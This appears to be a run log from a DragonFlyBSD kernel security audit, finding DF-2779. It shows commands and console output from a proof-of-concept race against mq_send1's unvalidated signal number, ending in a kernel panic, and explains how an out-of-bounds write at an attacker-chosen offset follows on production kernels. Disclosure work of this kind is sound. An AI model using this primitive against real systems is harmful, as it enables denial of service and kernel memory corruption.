โฌข DragonFlyBSD Kernel Audit
DF-2779 / run.log
โ† back to finding โ†“ download raw
DF-2779 run.log โ€” decisive runs (captured from serial/ssh sessions 2026-09-01)

=== Run 1: signo=64 (in-kernel-sigset-range, no assert) โ€” foreground, ~15 s ===

$ cd /tmp/poc && ./race_signo 20; echo "EXIT=$?"
DF-2779 race armed: q=/df2779_1024 bad_signo=64 running 20s
Unknown signal: 64
EXIT=192

EXIT=192 == 128+64: the RACE WAS WON within 15 s โ€” the unvalidated
sigev_signo=64 (smuggled via a SIGEV_NONE re-registration) was delivered by
the kernel as signal 64 to the sending process (killed by "Unknown signal
64" per /bin/sh).  No panic on this value because DF's kernel sigsets store
128 signals (_SIG_MAXSIG=128, sys/sys/signal.h:64), i.e. 64 is representable;
userland NSIG is 64 so the shell prints "Unknown signal".

=== Run 2: signo=0x4000001 (67108865; word 0x200000 = 8 MB past p_siglist) ===

$ cd /tmp/poc && ./race_signo 180 > race2.log 2>&1
(ssh session never returned โ€” guest PANICKED)

Serial console (full text in panic.txt):
	panic: lwpsignal: invalid signal 67108865
	cpuid = 0
	lwpsignal() at lwpsignal+0x817
	lwpsignal() at lwpsignal+0x817
	mq_send1() at mq_send1+0x3ee
	sys_xsyscall() at sys_xsyscall+0x89
	syscall2() at syscall2+0x11e
	Debugger("panic")
	... db> prompt, guest down

67108865 == 0x4000001 โ€” the EXACT attacker-supplied constant, proving the
signo reached ksignal() unvalidated through mq_send1().  On this INVARIANTS
kernel the KASSERT at kern_sig.c:1139 fires; on a production (non-INVARIANTS)
kernel the same call performs SIGISMEMBER()/SIGADDSET_ATOMIC() with word
index ((sig-1)>>5) โ€” an out-of-bounds read and an OOB atomic bit-set write
at an attacker-chosen offset (here +8 MB) from p->p_siglist.